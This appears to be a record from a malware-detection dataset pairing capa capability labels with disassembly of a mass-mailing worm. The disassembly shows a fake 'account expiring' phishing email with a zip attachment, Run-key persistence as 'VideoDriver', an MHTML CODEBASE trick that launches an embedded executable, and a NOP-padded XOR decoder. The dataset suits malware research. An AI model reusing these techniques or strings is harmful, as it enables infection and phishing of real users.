joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40171a
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x314
push edi
push 0x474d83
push dword [ebp + 8]
call sub.CRTDLL.DLL_fopen
add esp, 8
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x401747
mov eax, 0
jmp 0x40186b
push dword [ebp - 8]
call sub.CRTDLL.DLL__fileno
add esp, 4
mov edi, eax
push edi
call sub.CRTDLL.DLL__filelength
add esp, 4
mov dword [ebp - 0xc], eax
push dword [ebp - 0xc]
call sub.CRTDLL.DLL_malloc
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40177e
mov eax, 0
jmp 0x40186b
push dword [ebp - 8]
push dword [ebp - 0xc]
push 1
push dword [ebp - 4]
call sub.CRTDLL.DLL_fread
add esp, 0x10
push dword [ebp - 0xc]
push dword [ebp - 4]
call fcn.0040186e
add esp, 8
mov dword [ebp - 0x110], eax
imul edi, dword [ebp - 0xc], 3
add edi, 0x2800
push edi
call sub.CRTDLL.DLL_malloc
add esp, 4
mov dword [ebp - 0x114], eax
lea edi, [ebp - 0x10c]
push edi
call fcn.00401b81
add esp, 4
push 0
lea edi, [ebp - 0x214]
push edi
call fcn.00401a58
add esp, 8
push 0
lea edi, [ebp - 0x314]
push edi
call fcn.00401a58
add esp, 8
lea edi, [ebp - 0x10c]
push edi
push dword [ebp - 0x110]
lea edi, [ebp - 0x10c]
push edi
lea edi, [ebp - 0x314]
push edi
lea edi, [ebp - 0x10c]
push edi
lea edi, [ebp - 0x10c]
push edi
lea edi, [ebp - 0x214]
push edi
push str.X_Mailer:_The_Bat___v1.61__nX_Priority:_2__High__nSubject:_your_account__________________________s_nMIME_Version:_1.0_nContent_Type:_multipart_mixed__boundary__s__n_n___s_nContent_Type:_text_plain__charsetus_ascii_nContent_Transfer_Encoding:_7bit_n_n_nHello_there__n_nI_would_like_to_inform_you_about_important_information_regarding_your_nemail_address._This_email_address_will_be_expiring._nPlease_read_attachment_for_details._n_n____nBest_regards__Administrator_n_s_n_n___s_nContent_Type:_application_x_zip_compressed__name_message.zip__nContent_Transfer_Encoding:_base64_nContent_Disposition:_attachment__filename_message.zip__n_n_s_n_n___s___n
push dword [ebp - 0x114]
call sub.CRTDLL.DLL_sprintf
add esp, 0x24
cmp dword [ebp - 0x110], 0
je 0x401849
push dword [ebp - 0x110]
call sub.CRTDLL.DLL_free
add esp, 4
cmp dword [ebp - 4], 0
je 0x40185a
push dword [ebp - 4]
call sub.CRTDLL.DLL_free
add esp, 4
push dword [ebp - 8]
call sub.CRTDLL.DLL_fclose
add esp, 4
mov eax, dword [ebp - 0x114]
pop edi
leave
ret
Function at 0x4021da
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push eax
push esi
push edi
mov dword [ebp - 4], 0
jmp 0x4022da
imul edi, dword [ebp - 4], 0x61c
cmp dword [edi + 0x4087f0], 1
jne 0x4022d7
call sub.KERNEL32.DLL_GetTickCount
imul esi, dword [ebp - 4], 0x61c
mov edi, eax
sub edi, dword [esi + 0x4087e8]
mov dword [ebp - 8], edi
cmp dword [ebp - 8], 0x1d4c0
jle 0x4022d7
imul edi, dword [ebp - 4], 0x61c
cmp dword [edi + 0x4087e0], 0
je 0x4022d7
push 0
imul edi, dword [ebp - 4], 0x61c
push dword [edi + 0x4087e0]
call sub.KERNEL32.DLL_TerminateThread
imul edi, dword [ebp - 4], 0x61c
cmp dword [edi + 0x4088f4], 0
je 0x40227f
cmp dword [edi + 0x4088f4], 0xffffffff
je 0x40227f
imul edi, dword [ebp - 4], 0x61c
push dword [edi + 0x4088f4]
call sub.wsock32.dll_closesocket
imul edi, dword [ebp - 4], 0x61c
cmp dword [edi + 0x4088f8], 0
je 0x4022ad
cmp dword [edi + 0x4088f8], 0xffffffff
je 0x4022ad
imul edi, dword [ebp - 4], 0x61c
push dword [edi + 0x4088f4]
call sub.wsock32.dll_closesocket
imul edi, dword [ebp - 4], 0x61c
mov dword [edi + 0x4087e0], 0
imul edi, dword [ebp - 4], 0x61c
mov dword [edi + 0x4087f0], 0
dec dword [0x407930]
inc dword [ebp - 4]
mov edi, dword [0x407934]
cmp dword [ebp - 4], edi
jl 0x4021ed
mov eax, 0
pop edi
pop esi
leave
ret

Function at 0x4022f2
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x51c
push esi
push edi
lea edi, [ebp - 0x51c]
lea esi, [0x4740dc]
mov ecx, 0x100
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x11c], 0
mov dword [ebp - 8], 0
lea edi, [ebp - 0x51c]
mov dword [ebp - 4], edi
mov dword [ebp - 0x110], 1
mov edi, dword [ebp + 8]
mov dword [ebp - 0x10c], edi
mov dword [ebp - 0x118], 3
mov dword [ebp - 0x114], 0
push 0
push 1
push dword [ebp - 4]
push dword [ebp + 8]
call sub.wsock32.dll_recv
mov dword [ebp - 8], eax
lea edi, [ebp - 0x118]
push edi
push 0
push 0
lea edi, [ebp - 0x110]
push edi
push 0
call sub.wsock32.dll_select
mov dword [ebp - 0xc], eax
add dword [ebp - 4], 1
inc dword [ebp - 0x11c]
cmp dword [ebp - 8], 0
je 0x402395
cmp dword [ebp - 0xc], 0
jne 0x402351
mov edi, dword [ebp - 4]
mov byte [edi], 0
push 3
push 0x474a8c
lea edi, [ebp - 0x51c]
push edi
call sub.CRTDLL.DLL_strncmp
add esp, 0xc
cmp eax, 0
je 0x40240c
push 3
push 0x474a88
lea edi, [ebp - 0x51c]
push edi
call sub.CRTDLL.DLL_strncmp
add esp, 0xc
cmp eax, 0
je 0x40240c
push 3
push 0x474a84
lea edi, [ebp - 0x51c]
push edi
call sub.CRTDLL.DLL_strncmp
add esp, 0xc
cmp eax, 0
je 0x40240c
push 3
push 0x474a80
lea edi, [ebp - 0x51c]
push edi
call sub.CRTDLL.DLL_strncmp
add esp, 0xc
cmp eax, 0
jne 0x402413
mov eax, 0
jmp 0x402418
mov eax, 1
pop edi
pop esi
leave
ret
Function at 0x402c3e
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x248
push edi
push dword [ebp + 8]
call sub.CRTDLL.DLL_strlen
add esp, 4
cmp eax, 0xf0
jbe 0x402c5f
jmp 0x402dc5
push 0xfa
push dword [ebp + 8]
lea edi, [ebp - 0x244]
push edi
call sub.CRTDLL.DLL_strncpy
add esp, 0xc
push 0x104
push dword [ebp + 8]
push 0x407ed0
call sub.CRTDLL.DLL_strncpy
add esp, 0xc
push 0x474a6b
lea edi, [ebp - 0x244]
push edi
call sub.CRTDLL.DLL_strcat
add esp, 8
lea edi, [ebp - 0x140]
push edi
lea edi, [ebp - 0x244]
push edi
call sub.KERNEL32.DLL_FindFirstFileA
mov dword [ebp - 0x248], eax
mov edi, dword [ebp - 0x140]
and edi, 0x10
mov dword [ebp - 0x140], edi
cmp edi, 0
je 0x402d57
push 0x474a69
lea edi, [ebp - 0x114]
push edi
call sub.CRTDLL.DLL_strcmp
add esp, 8
cmp eax, 0
je 0x402daa
push 0x474a66
lea edi, [ebp - 0x114]
push edi
call sub.CRTDLL.DLL_strcmp
add esp, 8
cmp eax, 0
je 0x402daa
push dword [ebp + 8]
lea edi, [ebp - 0x244]
push edi
call sub.CRTDLL.DLL_strcpy
add esp, 8
lea edi, [ebp - 0x114]
push edi
lea edi, [ebp - 0x244]
push edi
call sub.CRTDLL.DLL_strcat
add esp, 8
push 0x474a64
lea edi, [ebp - 0x244]
push edi
call sub.CRTDLL.DLL_strcat
add esp, 8
lea edi, [ebp - 0x244]
push edi
call fcn.00402c3e
add esp, 4
jmp 0x402daa
push dword [ebp + 8]
lea edi, [ebp - 0x244]
push edi
call sub.CRTDLL.DLL_strcpy
add esp, 8
lea edi, [ebp - 0x114]
push edi
lea edi, [ebp - 0x244]
push edi
call sub.CRTDLL.DLL_strcat
add esp, 8
lea edi, [ebp - 0x114]
push edi
push 0x407ed0
push str._s_s
push 0x4080d3
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
push 0x4080d3
call fcn.00402e85
add esp, 4
lea edi, [ebp - 0x140]
push edi
push dword [ebp - 0x248]
call sub.KERNEL32.DLL_FindNextFileA
cmp eax, 0
jne 0x402cb8
pop edi
leave
ret
Function at 0x402e85
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push edi
mov dword [ebp - 8], 0
push dword [ebp + 8]
call fcn.00402dc8
add esp, 4
cmp eax, 0
je 0x402ea8
jmp 0x402ffe
push 0
push pe_nt_image_headers32
push 3
push 0
push 1
push 0x80000000
push dword [ebp + 8]
call sub.KERNEL32.DLL_CreateFileA
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x402fee
mov dword [ebp - 0x10], 0
lea edi, [ebp - 0x10]
push edi
push dword [ebp - 4]
call sub.KERNEL32.DLL_GetFileSize
mov dword [0x407400], eax
cmp dword [ebp - 0x10], 0
je 0x402efa
push dword [ebp - 4]
call sub.KERNEL32.DLL_CloseHandle
jmp 0x402ffe
cmp dword [0x407400], 0xffffffff
je 0x402fe4
push dword [0x407400]
call sub.CRTDLL.DLL_malloc
add esp, 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x402fcc
push 0
lea edi, [ebp - 0xc]
push edi
push dword [0x407400]
push dword [ebp - 0x14]
push dword [ebp - 4]
call sub.KERNEL32.DLL_ReadFile
cmp eax, 0
jne 0x402f4b
push str.Read_error_n
call sub.CRTDLL.DLL_printf
add esp, 4
lea edi, [ebp - 8]
push edi
push dword [0x407400]
push dword [ebp - 0x14]
call fcn.004052b4
add esp, 0xc
mov dword [0x4744dc], eax
cmp dword [0x4744dc], 0
jne 0x402f70
jmp 0x402fbf
push dword [0x4744dc]
call fcn.0040126a
add esp, 4
mov edi, eax
cmp edi, 0
jne 0x402fbd
push dword [0x4744dc]
call sub.CRTDLL.DLL_strlen
add esp, 4
cmp eax, 6
jbe 0x402fbd
push 0xff
push dword [0x4744dc]
push 0x473ef0
call sub.CRTDLL.DLL_strncpy
add esp, 0xc
push 0x473ef0
call fcn.00402bfd
add esp, 4
jmp 0x402f4b
push dword [ebp - 0x14]
call sub.CRTDLL.DLL_free
add esp, 4
jmp 0x402fe4
push dword [0x407400]
push 0x4080d3
push str.Memory_allocation_error__file__s__size__d_n
call sub.CRTDLL.DLL_printf
add esp, 0xc
push dword [ebp - 4]
call sub.KERNEL32.DLL_CloseHandle
jmp 0x402ffe
push dword [ebp + 8]
push str.Failed_to_open__s_n
call sub.CRTDLL.DLL_printf
add esp, 8
pop edi
leave
ret

Function at 0x403001
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push edi
mov dword [ebp - 0x204], 0
mov dword [ebp - 0x208], 0x200
mov dword [ebp - 0x20c], 0x200
lea edi, [ebp - 0x210]
push edi
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
push 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyA
cmp eax, 0
jne 0x4030e4
jmp 0x4030a5
lea edi, [ebp - 0x200]
push edi
call sub.CRTDLL.DLL_strlen
add esp, 4
mov edi, eax
sub edi, 1
cmp byte [ebp + edi - 0x200], 0x5c
je 0x40307c
push 0x474a64
lea edi, [ebp - 0x200]
push edi
call sub.CRTDLL.DLL_strcat
add esp, 8
mov dword [ebp - 0x208], 0x200
mov dword [ebp - 0x20c], 0x200
inc dword [ebp - 0x204]
lea edi, [ebp - 0x200]
push edi
call fcn.00402c3e
add esp, 4
lea edi, [ebp - 0x20c]
push edi
lea edi, [ebp - 0x200]
push edi
lea edi, [ebp - 0x414]
push edi
push 0
lea edi, [ebp - 0x208]
push edi
lea edi, [ebp - 0x410]
push edi
push dword [ebp - 0x204]
push dword [ebp - 0x210]
call sub.ADVAPI32.DLL_RegEnumValueA
cmp eax, 0
je 0x40304a
push dword [ebp - 0x210]
call sub.ADVAPI32.DLL_RegCloseKey
pop edi
leave
ret
Function at 0x40311f
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2000
call fcn.00405608
push edi
push 0
call sub.ole32.DLL_CoInitialize
mov dword [0x407e90], 0
call sub.KERNEL32.DLL_GetTickCount
mov dword [0x407e94], eax
mov dword [0x407e98], 0
mov byte [ebp - 0x2000], 0
jmp 0x4031c7
mov byte [ebp - 0x1000], 0
jmp 0x40316e
push 0x3e8
call sub.KERNEL32.DLL_Sleep
lea edi, [ebp - 0x1000]
push edi
call fcn.004032d7
add esp, 4
cmp eax, 0
jne 0x403164
lea edi, [ebp - 0x2000]
push edi
lea edi, [ebp - 0x1000]
push edi
call sub.CRTDLL.DLL_strcmp
add esp, 8
cmp eax, 0
je 0x4031ac
lea edi, [ebp - 0x1000]
push edi
call fcn.00403f7b
add esp, 4
push 0xfff
lea edi, [ebp - 0x1000]
push edi
lea edi, [ebp - 0x2000]
push edi
call sub.CRTDLL.DLL_memcpy
add esp, 0xc
cmp dword [0x407e90], 0
jne 0x4031e9
call sub.KERNEL32.DLL_GetTickCount
mov edi, eax
sub edi, dword [0x407e94]
cmp edi, 0x2bf20
jb 0x40315b
call sub.ole32.DLL_CoUninitialize
mov eax, 0
pop edi
leave
ret

Function at 0x4031f6
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2000
call fcn.00405608
push edi
mov dword [0x407e9c], 1
mov dword [0x407e98], 1
mov dword [0x407e90], 0
call sub.KERNEL32.DLL_GetTickCount
mov dword [0x407e94], eax
push 0
call sub.ole32.DLL_CoInitialize
mov byte [ebp - 0x2000], 0
jmp 0x4032a8
mov byte [ebp - 0x1000], 0
jmp 0x40324f
push 0x3e8
call sub.KERNEL32.DLL_Sleep
lea edi, [ebp - 0x1000]
push edi
call fcn.004032d7
add esp, 4
cmp eax, 0
jne 0x403245
lea edi, [ebp - 0x2000]
push edi
lea edi, [ebp - 0x1000]
push edi
call sub.CRTDLL.DLL_strcmp
add esp, 8
cmp eax, 0
je 0x40328d
lea edi, [ebp - 0x1000]
push edi
call fcn.00403f7b
add esp, 4
push 0xfff
lea edi, [ebp - 0x1000]
push edi
lea edi, [ebp - 0x2000]
push edi
call sub.CRTDLL.DLL_memcpy
add esp, 0xc
cmp dword [0x407e90], 0
jne 0x4032ca
call sub.KERNEL32.DLL_GetTickCount
mov edi, eax
sub edi, dword [0x407e94]
cmp edi, 0x2bf20
jb 0x40323c
call sub.ole32.DLL_CoUninitialize
mov eax, 0
pop edi
leave
ret
Function at 0x4043b5
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
push edi
lea edi, [ebp - 0x190]
push edi
push 2
call sub.wsock32.dll_WSAStartup
pop edi
leave
ret

Function at 0x4043d0
Capabilities:
Delete file
Get common file path
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1e4
push edi
lea edi, str._value
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x28], 0
push str.kernel32.dll
call sub.KERNEL32.DLL_LoadLibraryA
mov dword [ebp - 0x54], eax
cmp eax, 0
je 0x404419
push str.RegisterServiceProcess
push dword [ebp - 0x54]
call sub.KERNEL32.DLL_GetProcAddress
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x404419
push 1
push 0
call dword [ebp - 0x28]
call fcn.00401250
mov dword [0x407a80], 0
mov dword [0x407a84], 0
mov dword [0x407e88], 0
lea edi, [ebp - 0x1e4]
push edi
push 1
call sub.wsock32.dll_WSAStartup
cmp eax, 0
je 0x404459
mov eax, 0
jmp 0x4045f5
call fcn.00404e52
cmp eax, 0
jne 0x40446d
mov eax, 0
jmp 0x4045f5
push 0x104
push 0x407514
call sub.KERNEL32.DLL_GetWindowsDirectoryA
push 0x104
push 0x407514
push 0x407618
call sub.CRTDLL.DLL_strncpy
add esp, 0xc
push 0x104
push str.zip.tmp
push 0x407618
call sub.CRTDLL.DLL_strncat
add esp, 0xc
push 0x407618
call sub.KERNEL32.DLL_DeleteFileA
push 0x104
push 0x407514
push 0x40771c
call sub.CRTDLL.DLL_strncpy
add esp, 0xc
push 0x104
push str.exe.tmp
push 0x40771c
call sub.CRTDLL.DLL_strncat
add esp, 0xc
push 0x40771c
call sub.KERNEL32.DLL_DeleteFileA
push 0x104
push 0x407514
push 0x407820
call sub.CRTDLL.DLL_strncpy
add esp, 0xc
push 0x104
push str.eml.tmp
push 0x407820
call sub.CRTDLL.DLL_strncat
add esp, 0xc
push 0x407820
call sub.KERNEL32.DLL_DeleteFileA
call fcn.00404fb8
push 0x407618
push 0x40771c
call fcn.00401469
add esp, 8
push dword [ebp - 0x24]
push dword [ebp + 8]
lea edi, [ebp - 0x50]
push edi
call fcn.004046cd
add esp, 0xc
lea edi, [ebp - 0x50]
push edi
call sub.USER32.DLL_RegisterClassA
or ax, ax
jne 0x404565
mov eax, 0
jmp 0x4045f5
push 0
push dword [ebp + 8]
push 0
push 0
push 0x80000000
push 0x80000000
push 0x80000000
push 0x80000000
push 0xcf0000
push str._value
push dword [ebp - 0x24]
push 0
call sub.USER32.DLL_CreateWindowExA
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x4045b9
push 0
push 0x474826
push str.Error_creating_window_n
push 0
call sub.USER32.DLL_MessageBoxA
mov eax, 0
jmp 0x4045f5
push 0
push 0x1388
push 1
push dword [ebp - 0x20]
call sub.USER32.DLL_SetTimer
jmp 0x4045de
lea edi, [ebp - 0x1c]
push edi
call sub.USER32.DLL_TranslateMessage
lea edi, [ebp - 0x1c]
push edi
call sub.USER32.DLL_DispatchMessageA
push 0
push 0
push 0
lea edi, [ebp - 0x1c]
push edi
call sub.USER32.DLL_GetMessageA
cmp eax, 0
jne 0x4045cc
mov eax, dword [ebp - 0x14]
pop edi
leave
ret 0x10
Function at 0x404e52
Capabilities:
Accept command line arguments
Copy file
Create process on windows
Get common file path
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push edi
lea edi, [ebp - 0x108]
mov dword [ebp - 0x210], edi
call sub.KERNEL32.DLL_GetCommandLineA
push 0x104
push eax
lea edi, [ebp - 0x108]
push edi
call sub.CRTDLL.DLL_strncpy
add esp, 0xc
mov edi, dword [ebp - 0x210]
cmp byte [edi], 0x22
jne 0x404e99
add dword [ebp - 0x210], 1
mov dword [ebp - 4], 0
jmp 0x404ebd
mov edi, dword [ebp - 4]
cmp byte [ebp + edi - 0x108], 0x22
jne 0x404eba
mov edi, dword [ebp - 4]
mov byte [ebp + edi - 0x108], 0
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x104
jl 0x404ea2
push 0x104
push dword [ebp - 0x210]
push 0x407410
call sub.CRTDLL.DLL_strncpy
add esp, 0xc
push 0x104
lea edi, [ebp - 0x20c]
push edi
call sub.KERNEL32.DLL_GetWindowsDirectoryA
push str._videodrv.exe
lea edi, [ebp - 0x20c]
push edi
call sub.CRTDLL.DLL_strcat
add esp, 8
push 0
lea edi, [ebp - 0x20c]
push edi
push dword [ebp - 0x210]
call sub.KERNEL32.DLL_CopyFileA
lea edi, [ebp - 0x214]
push edi
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000002
call sub.ADVAPI32.DLL_RegOpenKeyA
lea edi, [ebp - 0x20c]
push edi
call sub.CRTDLL.DLL_strlen
add esp, 4
push eax
lea edi, [ebp - 0x20c]
push edi
push 1
push 0
push str.VideoDriver
push dword [ebp - 0x214]
call sub.ADVAPI32.DLL_RegSetValueExA
push dword [ebp - 0x214]
call sub.ADVAPI32.DLL_RegCloseKey
push 0
push pe_nt_image_headers32
push 3
push 0
push 2
push 0x40000000
lea edi, [ebp - 0x20c]
push edi
call sub.KERNEL32.DLL_CreateFileA
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0xffffffff
jne 0x404f97
mov eax, 1
jmp 0x404fb5
push dword [ebp - 0x218]
call sub.KERNEL32.DLL_CloseHandle
push 0
lea edi, [ebp - 0x20c]
push edi
call sub.KERNEL32.DLL_WinExec
mov eax, 0
pop edi
leave
ret
Function at 0x404fb8
Capabilities:
Delete file
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push edi
push 0x40771c
call sub.KERNEL32.DLL_DeleteFileA
push 0x474d86
push 0x40771c
call sub.CRTDLL.DLL_fopen
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x404fee
mov eax, 1
jmp 0x4050b9
push str.MIME_Version:_1.0_nContent_Location:File:__foo.exe_nContent_Transfer_Encoding:_binary_n_n
push dword [ebp - 4]
call sub.CRTDLL.DLL_fprintf
add esp, 8
push 0x474d83
push 0x407410
call sub.CRTDLL.DLL_fopen
add esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x405023
mov eax, 1
jmp 0x4050b9
push dword [ebp - 0xc]
call sub.CRTDLL.DLL__fileno
add esp, 4
mov edi, eax
push edi
call sub.CRTDLL.DLL__filelength
add esp, 4
mov dword [ebp - 0x10], eax
push dword [ebp - 0x10]
call sub.CRTDLL.DLL_malloc
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x405057
mov eax, 1
jmp 0x4050b9
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push 1
push dword [ebp - 8]
call sub.CRTDLL.DLL_fread
add esp, 0x10
push dword [ebp - 4]
push 1
push dword [ebp - 0x10]
push dword [ebp - 8]
call sub.CRTDLL.DLL_fwrite
add esp, 0x10
cmp dword [ebp - 8], 0
je 0x40508e
push dword [ebp - 8]
call sub.CRTDLL.DLL_free
add esp, 4
push dword [ebp - 0xc]
call sub.CRTDLL.DLL_fclose
add esp, 4
push str._body_bgcolorblack_scrollno__n_SCRIPT__nfunction_malware___n_nsdocument.URL_paths.substr__0_s.lastIndexOf_______npathunescape_path___ndocument.write___title_Message__title__body_scrollno_bgcolorwhite__FONT_face_Arial__colorblack_style_position:absolute_top:20_left:90_z_index:100__font_size:12px___No_message__center__OBJECT_style_cursor:cross_hair__alt_moo_ha_ha__CLASSID_CLSID:11111111_1111_1111_1111_111111111111___CODEBASE_mhtml:pathmessage.html_File:__foo.exe____OBJECT___n_nsetTimeout__malware____150__n_n__script_
push dword [ebp - 4]
call sub.CRTDLL.DLL_fprintf
add esp, 8
push dword [ebp - 4]
call sub.CRTDLL.DLL_fclose
add esp, 4
mov eax, 0
pop edi
leave
ret

Function at 0x4055a4
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
call sub.KERNEL32.DLL_GetCommandLineA
mov edi, eax
cmp byte [edi], 0x22
jne 0x4055d8
push 0x22
mov eax, edi
inc eax
push eax
call sub.CRTDLL.DLL_strchr
add esp, 8
mov dword [ebp - 4], eax
or eax, eax
je 0x4055f3
mov edi, eax
inc edi
jmp 0x4055d0
inc edi
cmp byte [edi], 0x20
je 0x4055cf
jmp 0x4055f3
inc edi
movsx eax, byte [edi]
or eax, eax
je 0x4055e4
cmp eax, 0x20
jne 0x4055d7
jmp 0x4055e7
inc edi
movsx eax, byte [edi]
or eax, eax
je 0x4055f3
cmp eax, 0x20
je 0x4055e6
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
push 1
push edi
push 0
push eax
call fcn.004043d0
pop edi
leave
ret
Function at 0x4099ec
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x409abf
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x409ad8
push ebx
push 0x409ae4
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.004033b4
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.0040277c
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403414
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x409a6c
mov al, 0x6a
call fcn.00409648
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.004099c0
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
dec eax
je 0x409a75
call fcn.004099c0
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409ac6
lea eax, [ebp - 4]
call fcn.00403198
ret

Function at 0x409b78
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409c2c
jmp 0x409c21
cmp dword [esi + 0x10], 0x1000
jne 0x409c0d
test byte [esi + 0x15], 1
jne 0x409c0d
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409bcc
cmp eax, 2
je 0x409bcc
cmp eax, 0x10
je 0x409bcc
cmp eax, 0x20
jne 0x409be1
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x409be1
mov bl, 1
xor ebp, ebp
jmp 0x409bf2
mov eax, dword [esi]
add eax, ebp
call fcn.00409b70
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x409be5
test bl, bl
je 0x409c0d
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409c2c
mov eax, dword [esi + 4]
cmp eax, edi
je 0x409ba4
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x431006
Capabilities:
Encode data using xor

Disassembly:
call 0x43100c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x403e6a
nop
sub eax, 0x403e10
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x431030
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
jne 0x43101e
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp loc.00401219